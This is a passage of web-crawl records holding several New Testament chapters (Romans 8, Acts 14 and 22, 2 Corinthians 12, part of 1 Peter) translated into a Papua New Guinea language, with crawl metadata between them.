kentirunkó anón-kawe'a íníye.\n14 Ísu Káráísitina kwaásima ontávésamo simáímo sáwí'o umátinkanaaombo é'a íma imáyáa íyana kentirunkó kawe'á éna Áánútun-amanko ó'oran-amanko keinárawate máyáintavena kentirunkó kawe'á íníye.\n15 keinárawapinkemba íma moóráwai kaekó kwaási tinkámbai puwésa íma umóyámbá ésa íma ó'on-o'on-tantaa'a sáwí'a ésa íma aosaambá kwiyésa mirámó íyawaimo ésa sáwí-meyamba mayánááovo\n16 Ísu Káráísitina kwaási-i'o onkákémbó umbai-yántáá'ó timíya'o é'a íma táátave'a oró. miwí tirunkómó sáwí'o kwéinasamo Káráísitina kwaási owémó kwésiyamba Áánútumpa'a súwi seró.\n17 Áánútu amáparawaimo máyáawaina ááimbo tísaa ínín-kanaamo tínímba aiva'á kwená kwaásiya sísaa ena kentáámó umbai-yántáá'ó siménamo énaya kwená áséi-kwasaimo arááíráan-kwaasi anón-umbai-yantaa'a timíníye.\n18 mindáyavena Áánútun-aai aúváívimba agaimaréna séna\nÁánútu arupí umái máyáawaima sáwí-imayaavinkemba tí'mai kawepá'á métínkáimba mindá umbai-máyáímán-ivo Áánútuntavesamo ímo aamoimó ésamo sáwí'o kwéowai miwí sáwí'o umáímo máyáampimba miráumai sáwí'a umái ménaaowe\nagaimaréna siráiye.\n19 miráumai Áánútu kwená imáyáavinkemba séna umbai-yántáá'á kentópa'a tíníye siráin-kwaasi kawe'á úmae kwéiye'a Áánútunka'a agevamái máéro. Áánútumo taróruraiwai éna sintení'a iwáí kwégarakwiyivo kwenká'á agevamái máéro.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/P14.html","date":"2023-09-27T18:30:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510319.87\/warc\/CC-MAIN-20230927171156-20230927201156-00506.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":409,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.215,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nÁánútun-amankomba arááímo kwétaini'a kwéon-kwasai.\n1 miráumai Ísu Káráísitiye tarúmai máyáawai miwítí sáwí-meyamba maitíyukaintavena Áánútu íma aaivimbá maitinkéna sáwí-meyamba íma timíníye.\n2 ááéma sáwíta uráundawai tátokowata puwónaundawaiya ówánanaya Ísu Káráísiti iyásínkaraisata kweséya aúnái'a umáíya máyaunanaya Áánútun-amanko kárákwiyisana Áánútu aaivimbá íma maisinkénaya íma sáwí-meyamba simíníye.\n3 Áánútu kwená ámáámba siráimbanivo sáwí'a ónáe séta minámáámbá íma kanaán-umaiya kwakáunda póna minámáánkó sáwíta umáíya máyaundavinkemba íma síkaisata máyaunanaya naaémba Áánútu ááninkontavena séna sáwí'a kwéomba po miwíyáváí se kumpuwíníyone séna ai'marówana kesáámó sáwí'o kwéundawaiyaamo úndanten-augwarawai maimaéna kentáásí sáwí-imayaamo maisiyuwáíndayavenaya kumpukáiye.\n4 Áánútu mirá uráimba póta sáwí-imayaayavetaamo sirááíyavetaamo kwéunda ímo mirá kwéetaamo Áánútun-amankomo siráini'o kwéetaamo éta Áánútuna ámáánko siráintemba miráyá umáíya arupíya ónaumne.\n5 sáwí-imayaayavesamo tirááíyavesamo kwéowai miwítí sáwí-imayaago tátokaivo Áánútun-amankomba arááímo kwétaini'a kwéowai kwená kawer-ímáyáágó kwégarakwiyiye.\n6 miwítí sáwí-imayaayavesamo tirááímo kwétain-imayaawe su'mai kwéowai máyáawaina ááimba Áánútuna némpa'a maí'mai'a ónááovo Áánútun-amankombo arááímo kwétain-imayaawe su'mai kwéowai paru umái aúnái'a umái maí'mai'a ónááowe.\n7 sáwí-imayaayavesa tirááíyavesa kwéon-imayaawe su'mai kwéowai Áánútuna ámáámba íma kanaán-umai taagwiyavésa Áánútuna namuro-kwáásíráámbá kwéowe.\n8 sáwí-imayaayavesamo tirááímo kwétaini'o kwéowai Áánútu íma aamoí kwéumatinkaiye.\n9 Áánútun-amankomo kentirumpimbó máyáimbo é'a sáwí-imayaayave'o tirááímo kwétaini'a íma kwée'a Áánútun-amanko siráini'a kwée'a máyáawe. Ísu Káráísitin-amanko tirumpimbó ímo máyáiwai íma kwená kwaási-i'a kwéowe.\n10 Ísu Káráísitin-amanko kentirumpimbó máyáimbo éna Áánútu kwenaúranka'a arupí umátínkaraimba pó'a kentimankó maí'mai'a íníwai é'a sáwí'o uráantave'a kentúgoma puwíníwaiman-owe.\n11 Áánútu Ísumba pukáimpinkemba usásinankowana kwenamankómó kentirumpimbó máyáimbo éna keinárawakwara'o éna puwónááompinkemba usásintinkaniye. kwenamankó kentirumpimbá máyáintavena Áánútu mirá íníye.\n12 kesí kwaásiyono. mináímbá imáyáa íyata íma kentáásí imáyáavinkeni'a éta Áánútun-amankombo arááímo kwétainita umáíya máéno.\n13 sáwí-imayaayave'o tirááíyave'o kwéombo éna Áánútu séna máyáawaina ááimba Áánútuna némpa'a máéro siráivo Áánútun-amankomo túwa'naa ína'o sáwí-imayaamo tuwé'o é'a aúnái'a umái ménaaowe.\n14 Áánútun-amankomo kwésintembo kwégwaraawai Áánútu áánimbaa'an-owe.\n15 Áánútu kwenamankómbá ai'marówana kentirumpimbá máyáiwai íma inkaisí-í'a umátínkáísana inkaisí-yántáákó íma tátokaisa'a máyáavo Áánútu áánimbaari'a umátínkáísa'a Áánútumba kwéaaye'a sé'a kesivoó kwése'a kwémaewe.\n16 kesáá séta Áánútu áánimbaata úneyaamo kwésunda Áánútun-amanko kentáásirumpimba ména séna mindá árair-aimban-iye kwésiye.\n17 Áánútuna iyámpói úndaya póta Áánútumo kentááyávénawe sénamo to'mayaa úmakaimba maimaéta Ísu Káráísitimo mayánínten-umaiya mayánaundayaawe. umbai-yántáá'ó kwempímbó kwáyontemba kentáávímbá umbai-yántáá'á kwáyáimba póta naaémba kweséya ságayan-ayampa'a ménaundayaawe.\nÁánútu kwená ó'ora-sagayamba agaráásinkanin-kwasai.\n18 maarán-áímbá imáyáa é'a sé'a árai'a Áánútu kwená ó'ora-sagayamba agaráásinkainata mindáyaveta imáyáa kwéeta kentáávímbá kwáyáin-umbai-yantaataveta íma anón-imayaa kwéundayaawe.\n19 Áánútu áánimbaare ayáámúmbaareya únasaya Áánútumo tarórurain-tantaako kwaí-kwaankowe taaigówé amápa-karaan-tantaakowe kentáámó suwánanaaontavesa mósá titaagwirésa amu'marésa máyáawe.\n20 naaóvá'á Áánútu tarórurain-tantaatavena séna kampindágwiniye séna kwená imáyáavinkemba séna íma miwítí imáyáavinkemba siráimba maarán-ímáyáá éna séna\n21 naaémba kampindáí-yántáá'á aambá áúntinkaanana taróruraunda-yantaa'a ó'a íma kampindámae iyíníye. kesí iyámpóímo iyátínkáanasamo kawe'ó umáímo ménaaontemba mintántáákó miráumai kawe'á umái kwéniye Áánútu minímáyáá uráiye.\n22 maarán-áíntá ísaraumne. aaraimó iyámpóímo tinkésamo eésé'ó ontembá Áánútumo amápa-tantaa'o tarórurain-tantaako eésé'á kwéena Áánútumo paárinintavena amu'maréna máyáiye.\n23 íma Áánútumo tarórurain-tantaakowe su'mainivo kesáágwárá'á miráyá kwéeta Áánútumo to'mayaa úmakain-tantaa'o simíníntaveta imáyáa ónaundayavenaya Áánútu kwenamankómbá ai'marówana kesirumpintá kumbáyáísata eésétá kwéeta amu'maréta máyaunanaya Áánútu kwenayáámúmbaare kwenáánimbaare síkenaya aúná-kuwawaa'a umásinkanintaveta amu'maréta máyaumne.\n24 Áánútu kawer-ámpá'á mésinkonka'a séta árai'a Áánútuna iyámpóíya éta kweséya ménaumne séta amu'maréta máyaumne. awánasuwaunda-yantaataveta íya amu'maréta ímo awánáúnda-yantaataveta amu'maréta ménaumpo\n25 ímo awánáúnda-yantaataveta amu'maréta méta séta árai'a paáriniye séta íma sívón-káínata asiramái amu'maréta ménaumne.\n26 íma asiramái-kwaasi méta kawer-ámpátá kwégunanaya umbai-yántáákó kwétatoraisana póna Áánútun-amanko kwésuwa'naa-isata nóraumaiya Áánútumba áísaa onanayá súwa'naa íníyo séta sirumpintá kanagíré su'mai téta íma kanaán-umai aaí kwésunanaya Áánútun-amanko kentááyávéna imáyáa éna Áánútumpa'a aaí kwésisana\n27 Áánútun-amanko Áánútumbo arááímo kwétain-aimba séna kwená kwaási-imayaa éna mirán-áímbá kwésimba póna Áánútu kentáásí imáyáa awánaiwai póna kwenamankómó sin-áímbá kwéisaiye.\n28 maarán-áímbá ísaraumne. kwená kwaási-i'a ónaundayavenaya ítámakaisata kwená imáyáa kwéeta máyaunanaya sáwí-yantaare kawe-tántááré kesópataamo timbá Áánútu mintántáá'á kawe'á kwéumasinkaintaawe.\n29 naaóvá'á Áánútu kwendéí-í'a umái ítámakowaiyavena séna kesááninkaamba ónááowe siráimba póna kwenááninko Ísu kentáásuwaao-i'a isatá kwenáúnavarita úne.\n30 naaóvá'á ítámakowaiyavenaya sááyena kwenaúranka'a arupí umásinkenaya kwenááninkaani'a kwéumasinkaintaawe.\nÁánútu arumbá kwésimenaya Ísumba ai'marówana kumpukáin-kwasai.\n31 Áánútu miráumai súwa'naa uráimba pó'a imáyáa é'a simátíménda ísáaro. sáwí'a umátinkanae sésayaamo mirámó ónááomba íma kanaán-umai kentáá usáyaaitanaaowe.\n32 Áánútu kwenááninkomba íma tátorena kentáásí sáwí-imayaa maisiyuwáínkwáe sénaya ai'marówana kumpukáiye. mirá uráimba póna súwa'naa ínín-tantaa'a úwoi simíníntaawe.\n33 Áánútu kentáá ítámakaiwaiya kwenaúranka'a arupíya umásínkarainta pósa évakarawai íma kanaán-umai aaivimbá maisinkánááontaawe.\n34 évakarawai kentááyávésa puwígwáe sésa íma aaivimbá maisinkánááowe. Ísu Káráísiti kentááyávénaya séna puwéna usásinena Áánútu ayáánúrapa'a asirayán-áyámpá'á ména kentáá súwa'naa umai Áánútumpa'a kwéaisaa-iye.\n35 mirá kwéintavesa évakarawai íma kanaán-umai Káráísitiyeyaamo máyaundavakenta sírááwanaya Káráísiti kentááyávénaya íma auwinkéna kentáásí imáyáa íma kwétuwaiye. umbai-yántáá'ó kesópataamo tíndawe aosaambó kwisinkánááontaawe sáwí'o umásinkanaaontaawe sááimo sinkáníntaawe unáánkwátói-iyaainta ménaundayaawe évakarawaimo sínkamonaaontaawe puwónaundayaawe mirán-tántáá'ó kesópataamo tínímba Káráísitiyeyaamo máyaundavakenta íma kanaán-umai sírááwanaya Káráísiti kentááyávénaya íma auwinkéna kentáásí imáyáa íma kwétuwaiye.\n36 naaóvá'á Áánútun-aai aúváí-kwandaaivimba agaimaréna séna\nená kwaásiya úndarakemba évakarawai kentááyávésa sésa tínkamonasa puwígwáe-imayaa úmae kwéiyowe. sipisípimo tuvúwówanamo púwíntemba kentááyávésa tínkamonasa puwígwáe kwésimae íyówe\nagaimaréna siráiye.\n37 mirá-sáwí'ó umásínkáanta íma imáyáa únanaya Ísu Káráísiti arumbá kwésimimba póna asiramásínkáísata miwí kwéusayaaitaundayaawe.\n38-39 maarán-áímbá árair-aimba isa'á ísaraumne. Áánútu arumbá kwésimenaya Ísóigo Ísu Káráísitimba ai'marówana kentááyávénawe séna kumpukáimba pósa Áánútunopa'o máyaundavakenta íma kanaán-umai kwésiraantaawe. puwónaundayaawe úwoi máyaundayaawe Áánútunopa'o máyaundavakenta íma kanaán-umai kwésiraantaawe. kwíyómpaken-kwayo'naraware taraváá-kwáné ívé'o kwáyáin-tantaare naaémbo paárinin-tantaare kwíyómpakewaiye kwaántá-kwaasiti máápakewaiye Áánútumo tarórurain-tantaare mirán-tántáátónkó íma kanaán-umai Áánútunopa'o máyaundavakenta sírááwanaya Áánútu kentááyávénaya íma auwinkéna kentáásí imáyáa íma kwétuwaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/RM8.html","date":"2023-09-21T19:44:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506029.42\/warc\/CC-MAIN-20230921174008-20230921204008-00476.warc.gz","language":"kze","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000070333480835}","num_words":775,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.215,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nPóroe Páánápáasiye Áíkóniyamu-naopa'a kurááyan-kwasai.\n1 Póroe Páánápáasiye Áíkóniyamu-naopa'a kwésarai ááémo urááyantemba Yútaa-mono'-naumpa'a umésarai áséi-kwasai asiramái simátímúyasa isésa sáwíva-kwaasi Yútaa-kwaasiye ó'onkaa-kwaasiye Ísun-aaiyavesa áraire sésa kwempá'á tésa máyómbanivo\n2 évaka-Yutaa-kwaasi Ísun-aaiyavesa tínaaemba umámesa íma áraire sirówai Póronte Páánápáasinte sáwí-aimba simátínkówasa ó'onkaa-kwaasi isésa mindáraiye Ísun-aai ísówaiye tirumbá sáwí'a umátínkómbanivo\n3 mindárai ayáátááka'a mindáópa'a mésarai miwí táároi íma inkaisésarai Ísóigon-aai asiramái simátímúyana Ísóigo kwaási úwoi kawe'á kwéumatinkaimba awánaigwae séna mindárai kwená asirayámbá timúwasarai ímo awánarom-bayai kawe'-máyáí máyóyasa\n4 mindáópakewai kaepí taaínkaar-urésa évakarawai sésa Yútaa-kwaasi tááiyavesa áraire suwasá évakarawai sésa aantá-kwaasi tááiyavesa áraire siráawe.\n5 suwasá ó'onkaa-kwaasiye Yútaa-kwaasiye miwítí anón-kwaasiye torupamái mésa tímááyu-aimba sésa óntandei Póronte Páánápáasinte tínkamonae suwasaráí\n6 mináímbá isésarai kawe'ó íyapa'a méyae sésarai Áríkoniyaa-marava'a kwésarai Árísitaa-naopare Tépi-naopare ó'on-o'on-daopare\n7 áséi-kwasai simátíma'maesarai kurááiye.\nÁrísitaava'a Tépiva'a kurááyan-kwasai.\n8 moóráwai Árísitaa-naopa'a anówa arupinkémbá aísamai sáwí'a umáguromba maránkarowana íma aaíntómba ááémo maúnka'a ména\n9 Póro kwésimatimun-aimba iséna árair-aimba kwésimba póna kawe'á umásinkaniye-imayaa úwana Póro minímáyáámó úmba awánéna aráá'a avuwéna\n10 anónka'a séna enaísamaine usásinaao súwana usásinkwena aamoí éna kweyááríka'a marapá'á kúmba\n11 sáwíva-kwaasi Póromo úmba awánésa miwí tááivinkemba Áríkoniyaa-aimpinkemba sésa kentáásí ísóigorai kwaásiraan-umai marapá'á kentáávímbá kumbáyaaiye sésa\n12 miwítí ísóigo áwí'a mindárai tamátimesa sésa Páánápáasintavesa Súsiye sésa Pórontavesa aaiyé simátímíwaiye sésa Émísiye sirá.\n13 marukón-awampa'a minkámpár-ísóígó áwí'a Súsi kwená mono'-námbá kwáyowana minkámpár-ísóígóntáváí ísámai póí'o umándon-kwaasigo purumakambá kwémaena moigwáán-aramba kwétararena umái maimaéna mindáókona kuri-óntárá'á mói marówasa sáwíva-kwaasi miwítí ísóigontavaimo póí'o umándaante miráumai Ísuna aantá-kwaasiraira'a póí'a umándanae\n14 sun-áímbá isésarai sáwí'an-iye sésarai kentí unáánkwátói tarátuwesarai isaaisésarai sáwíva-kwaasivimba komaésarai anónka'a sésarai\n15 kenkáí nóra ónáera kwéoo. keiráí kemó onten-kwáásí úye. áséi-kwasai tasimátimuyamba pó'a mirán-kámpárí'o tuwé'a árair-Isoigompa'a teró. árair-Isoigo kwíyómba éna maramá éna uwí-nómbá éna mimpímbá kwáyáin-tantaa'a úmarena asirayánkwáráwáí máyáiye.\n16 ááéma Áánútu úwoi tíyukowa'a kentí imáyáavinkemba amápa'-mapaken-kwaasi kwénaaesa\n17 miráumai kwéombanivo Áánútu máyáiye sígwáe séna aaí sisaná aa'á téna toónkó kawe'á isa'á kwéne'a tirumpimbá aamoí kwéowe. miráumai awáné'a mirámá iní-Ísóígó máyáiye sígwáe séna Áánútu kawerí'a kwéiye\n18 mindárai mináímbá suyasá amápa-kwaasi asirésa mindáraira'a póí'a umándanaumne kwésuwasarai íma mirá oró simái tuvímbaesarai íyúyasa ivátukaawe.\n19 ivátuwowasa évaka'-Yútaa-kwaasi Písítiyaa-marava'a Ántíoku-naopakemba évaka'a Áíkóniyamu-naopakemba tésa amápa-kwaasiti imáyáa tavisuwasá isésa Póromba óntandei tuvuwésa á'a púwiye-imayaa ésa tavisímaesa mindáókona awámpá'á mátúwówasa\n20 Ísuna aampa'á kuwáí taúkúmakesa taawánowana usásinena mindáópa'a kwéna kogaúmba usá aaváyaavimba usásinesarai Pórowe Páápápáasiye mindáópa'a tuwésarai Tépi-naopa'a kurááiye.\nSíriyaa-marava'a Ántíoku-naopa'a ókwara'a kurááyan-kwasai.\n21 Pórowe Páánápáasiye Tépi-naopa'a áséi-kwasai kosimátímúyasa isésa áraire sésa Ísuna aampa'á kwéguwasarai mindárai Árísitaa-naopa'a ókwara'a komésarai minkákémbá Áíkóniyamu-naopa'a komésarai minkákémbá Písítiyaa-marava'a Ántíoku-naopa'a ókwara'a komésarai\n22 miráumai kwénaaesarai Ísóigon-aaiyavesa áraire sirówai miwítí imáyáa asiramátinkesarai sésarai Ísuna aampa'á asiramái koró sésarai Áánútu kwená kwaási kwégawaaipa'a kónáe sé'o é'a minámpá'á umbaiyé tain-ámpá'á kónááowe sésarai\n23 miráumai mindáópata kwénaaesarai maará ésarai Ísóigona kwaásivinkemba miwítí anón-kwaasi usásintinkava'a kuyasá Áánútuna imáyáa ésa toómbá íma nésa námúnaawe su'mai kwésesa mindárai Ísóigompa'a aráápamai máyówaiyavai Ísóigo kárákwitinkamae iyíníye simátímakaaiye.\n24 simátimesarai Písítiyaa-marava'a kóyaaitesarai Pámpíriyaa-marava'a kwésarai\n25 Pékaa-naopa'a komésarai áséi-kwasai kosimátimesarai minkákémbá Átériyaa-naopa'a kumésarai\n26 nompí-sípí táto'mai usáatesarai teémesarai Síriyaa-marava'a Ántíoku-naopa'a ókwara'a tirááiye. ááéma mindáópa'a Ísóigona kwaási mindáraiyavesa Áánútu túwa'naa úmaena iyínívo kwená mayáí komáyáakaiyo sirówasarai mimbáyáí komaisuwésarai tirááiye.\n27 Ántíokuva'a tuyasá Ísóigona kwaási tayorupamái máyówasarai Áánútumo simátimuni'o urááyan-aimba sésarai Ísuna aampa'á ó'onkaa-kwaasi agaráátinkauyasa mináíntáváí áraire sésa minámpá'á kwégowe-aimba tasimátimesarai\n28 mindáópa'a Ísun-aai ísówai ayáátááka'a méraaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC14.html","date":"2023-09-26T21:19:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510225.44\/warc\/CC-MAIN-20230926211344-20230927001344-00392.warc.gz","language":"kze","language_score":0.9999673367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999673366546631}","num_words":487,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nÍsóigo kaainampákáání'o umáímo agarááránkáin-kwasai.\n1 kesúma maé kwéiyunda mirán-ááínkó íma kentáá súwa'naa ínívo kentávé'a Áánútuna aantá-kwaasiman-iye sénááontave'a kesópa'o tiráin-tantaakon-aai simátíménda ísáaro. Ísóigo kaainampákáání'o umáímo agaráásínkaraimba simátíménda ísáaro.\n2 Ísu Káráísitina kwaási máyaawanana Áánútu kusí'maena kwíyómpa'a sanaan-úramba iyúmba kesimankóná kunáíkai. mútú-kwaasi kusíkaiyo íma isáúmpo Áánútuwe su'mai ísaraiye. mirámó uráunda 14 ima maisukáumne.\n3 Áánútu kusí'maena kwená kawe'-mápá'á iyúmba kesimankóná kunáíkai. mútú-kwaasi kusíkaiyo íma isáúmpo Áánútuwe su'mai ísaraiye.\n4 kusí'maena kwená kawe'-mápá'á mósinkarowa'a mivá'á mé'a évaka-tantaakon-aai ísaraunda pó'a simátíméndamo é'a sáwí'a ónaunda pó'a íma kanaán-umai simátimenaumne.\n5 mirá uráintave'a kesúma maé iyé'a kesí mayáíyávé'a íma kesúma maé iyé'a évaka-tantaa'o kesópa'o tisasamó suwánésamo sésamo aamoisáyán-kwáásímán-iye kwésen-aintave'a kesúma maé kwéiyune.\n6 kesúma maé iyónáe sékai árair-aintave'a kesúma maé iyúna'a kentávé'a sáwí-imayaagwara-kwaasiman-iye íma kanaán-umai sésino. ánivo kesúma íma maé kwéiyune. aaimó súndarakembo kesúmo maé iyúndarakai mináímbá isésa évakarawai kentávésa sésa anón-kwaasiman-iye sésino. mindá íma sirááíma kwétaiye. kesí mayáí awáné'a simátimunda-aimba isé'a pó'a máyaundawaina ááimba suwánaawana sirááíma kwétaimba mindáyave'a kesúma íma maé kwéiyune.\n7 Áánútu sirówa'a ó'oran-kawe-tantaa'a sáwíva'a awánaawanana Áánútu kentávéna séna kwenáúma maé íyívo séna moórá-yantaa'a sí'o ií-yántáá'á kusúvimba marówana mindáyavena Sáátáánigo sáwí'a umásínkáísana kesúma íma maé iyónaundayavena Áánútu mirá umásínkaraiye.\n8 kaumbo-táwai Ísóigo Ísu Káráísitimpa'a námúnaa sé'a maantántáá'á maisiyúwéna'a kawe'á umái ménaumne séwánana\n9 minkáúmbó-táwai séna ímanivo miráumai ména'a úwoi áwa'naa ondá embá kanaán-íníye. ímo asiramáímo máyaanda kesí asirayámbá áménana minásíráyánkó embá usáyaaitaina méniyone símaena iráiye. Ísu Káráísitina asirayánkó kenká'á kárákwiyimba pó'a ímo asiramáímo máyaundayave'a aamoí kwéune.\n10 Ísu Káráísitintave'a imáyáa kwéunda ímo asiramáímo máyaundawe simáímo sáwí'o umásínkáane sáwí-aimbo simásínkáane umbai-yántáá'ó kwáyáine sáwí'o umásínkáane mirán-tántáátávé'a íma imáyáa é'a aamoí únda sé'a ímo asiramáímo máyaunda Ísu Káráísiti asirayámbá símísa'a asiramái máyaumne kwésune.\nKórínti-naoraa-kwaasi imáyáa arupí umátínkarain-kwasai.\n11 mirán-áímbó simátimunda kesúraamba maé kwéiye'a sáwí-imayaagwara-kwaasiraani'a kwéune. keinárawa'a kampa'á sé'a Áánútuna aantá-kwaasin-owe kwésen-kwaasi miwí kembá íma usáyaataraawe. kemá úwoi-kwaasi úndanivo miwí kembá íma usáyaaitaraawe. Póroma Áánútuna aantá-kwaasima iyé-áímbá keinárawa'a kampar-áímbó sen-kwáásíyávé'a simátíméraamba íma simátímakaavo kemá Áánútuna aantá-kwaasima úne-aimba imáyáa ónááontave'a kesópa'o tiráin-tantaakon-aai maanáúváívímbá kwésimatimune.\n12 Áánútuna aantá-kwaasiti mayáí maarám-báyáímán-iye. ó'oran-kawe'-mayai ímo awánaraam-bayai Áánútuna asirayándéí mayáí kwémayaambaniye. keinárawapimba komé'a mirám-báyáí kwémae'a íma ivá tuwááwána'a suwánaraawe.\n13 nóra séra kentávé'a sé'a Áánútuna kwaási ó'on-o'on-daopaken-kwaasira'a kawe'á umái kárákwiyenawa kentáára'a íma miránumai kwégarakwiyiyo kwésemba ó'on-daopakewaira'o kárákwiraundanten-umai keinárawaka'a kárákwiraumne. ó'on-o'on-daopa'o Áánútuna kwaásivimbo komaéwanda miwí súwa'naa uráavo keinárawapimbo komaéwanda súwa'naa oró-áímbá íma séwándarakemba mirán-úmbáí-áímbá íma simátínkaraumne. mirán-úmbáí-áímbó simátínkaraundarakai kawe'á ówána'a pó'a aamoí umásínkaraasino. mirán-ímáyáámó ombá ivá túwáaro.\n14 kae-táwai kentópa'a komé'a tiré'a ívé'a kwéto'mayaa é'a ókwara'a kónáe sé'a kwéumpo kondá umbai-yántáá'á íma timé'a kentí óntambo siménaaontavena íma kwésinkaivo kentirumbó siménaaontavena kwésinkaimba pó'a kónaumne. iyámpói íma tinóvowira'a kárákwimai kwétuwa'naa-ovo tinóvowimo iyámpóíra'o kárákwimai túwa'naa ontembá kemá mirá kwéumpo\n15 túwa'naa ónaundayave'a makáunda-yantaa'o túwa'naa umáímo kwéanasasuwe'o anóm-bayai kwémae'o mirámó ondavímbó puwónaundayave'a aamoí kwéune. kesirumbá anómba kwétimumpo kentirumbá sáwíyamba kwésimemba mindágwara'a ánásaavainivo imáyáa umái kawe'á oro.\n16 súwa'naa oro íma séwándarakemba umbai-yántáá'á íma tímakaunda-aintave'a árair-aimban-iye seró. keinárawapinkemba évakarawai kentávésa kampa'á sésa kentáásí óntamba mayánáe séna kampatá simásíyukaiye kwésewe.\n17 nóra séra mirá uráumno. ti'mákaundawaiya kentí óntamba maimaésawa kembá másímakaao.\n18 Táításimba asirayán-áímbá simáme'a ai'mákaunda moóráwai Ísu Káráísitina kwaásigwara'a ti'mákaundarai mindáraiya kampa'á simái óntamba maé másímakaaiyo. Táítási íma mirá-sáwí'á uráiye-aimba ísaraawe. kwewé kewé mimbórá-ímáyáávínkémbá mayáí kwémayauye.\n19 kesí kwaásiyono. maanáúváímó awánanaaomba maarán-kámpár-ímáyáá é'a kentáá súranka'a Póro kwenáái arupí ónáe séna maanáúváí agairáiye sénááowe-imayaa kwéune. íma mirán-áíntávé'a kwéagae'a Ísu Káráísitiye tarúmai mé'a Áánútu aúranka'a kentí imáyáa túwa'naa ónáe'a mirán-áímbá kwésimatimune.\n20 kentópa'o kondamó ímo kawe'ó umáímo méwa'o kotuwáné'o ímo aamoimó ónaundayave'a anón-imayaa kwéune. kentópa'o kondamó asirayán-áímbó simátíméndamo isé'a íma aamoí ónááontave'a anón-imayaa kwéune. kentópa'o kondá aaisambá sé'a kayoré'a áwáá'a sé'a taaínkaar-umai mé'a simái sáwí'a umátinke'a kwantánaanta-aimba sé'a kentúma maé iyé'a ó'on-o'on-aimba kwése'a mirá-sáwí'á kwéiya'a kotuwánáúnavo sé'a mináímbá kwésimatimune.\n21 kentópa'o kondá aarai-úmóyáné kwaai-úmóyáné kwéon-imayaa íma tínaaemba umámake'a sáwí-imayaayave'a tirááíyave'a kwéowaimba íma tínaaemba umámakenka'a kotuwánáúnavo sé'a mináímbá kwésimatimune. kentópa'o kondá mirá-sáwí'ó kwéiya'o é'a Áánútu aúranka'a keinárawatave'a sigaeyávé'a onaná sirunkó umbaí táníye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C212.html","date":"2023-09-27T21:30:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510326.82\/warc\/CC-MAIN-20230927203115-20230927233115-00889.warc.gz","language":"kze","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000063180923462}","num_words":598,"character_repetition_ratio":0.057,"word_repetition_ratio":0.003,"special_characters_ratio":0.171,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22\n1 Póro simátimena séna kesívárawaisai kesivoísáíyo aaí simátínkáamba anondá mináímbá sénaumpo ísáaro séna\n2 Ípírun-aimpinkemba súwasa miwí tááivinken-aimba pósa isésa aaisékésa kwenáái kawe'á umái ísówana Póro séna\n3 kemá Yútaa-kwaasi úne. kesinó Sírísiyaa-marava'a Táásási-naopa'a masinkówa'a anón-é'a Yérúsaremuva'a Kámérierinopa'a tamáyaawanana kentáá síkwá'nái ámáámba asiramái simásíma'maena iráiye. maanká'ó máyáan-kwaasimo Áánútuntavaimo asiramái máyáantemba Áánútun-aai asiramái mé'a méyatokaumne.\n4 Ísuna aampa'á kun-kwáásí sáwí'a kwéumatinke'a tavisímae'a ándáva'a aarai-kwaaí mátínkaraumne.\n5 ááéma aiva'mónó-káwáánákówé monor-ánón-kwáásíyé aúvái simésa Támásikasi-naopa'a Yútaa-kwaasi maimaé mátimiyo suwa'á Ísuna aampa'á kun-kwáásí kotí'mae'a Yérúsaremuva'a ándáva'a mátinkanae sé'a Támásikasi-naopa'a kuráumne. ááémo mináúváímó símakaan-kwaasi kotísaa e'o é'a kentáváí árai'a kwésiye seró.\n6 ánivo aampa'á kweéme'a Támásikasi-naopa'a egwaa'á kówánana kwáyá'wái kwíyómpakemba ságayamba tawáonkaan-tantaa'a tuwówana kuména súgáyáagaya úwa'a\n7 marapá'á tuvamówánana aaiyé su'mai kwéisaawanana sááyena séna Sóroo nóra séwa kembá sáwí'a kwéono súwa'a\n8 emá nááwa kwéseno séwánana kemá Násáretivakewaima Ísuma únama sáwí'a kwéumasinkaane súwasa\n9 kesémo máyón-kwaasi ságayamba awánésa kwésimasimun-aimba íma kawe'á umái ísówa'a\n10 áísaa e'a sé'a Ísóigoo ke nóra ónaumno séwánana Ísóigo séna usásine Támásikasi-naopa'a kwinaná moóráwai Áánútumo embó ámakaim-bayai-aimba simámino súwana\n11 ságayanko súgáyáagaya úwa'a íma kwéawanaawanasa kesé kwénaaun-kwaasi siyáán-to'maesa Támásikasi-naopa'a kuráawe.\n12 kuwaná moóráwai áwí'a Ánánáesi Áánútun-aaiyavena asiramái ména kentáásí ámáámba kwéisowasa Yútaa-kwaasi Támásikasi-naopakewai kwenáwí'a mósá makówai\n13 kesópa'a téna kesí egwaa'á taména séna Sóroo kesí 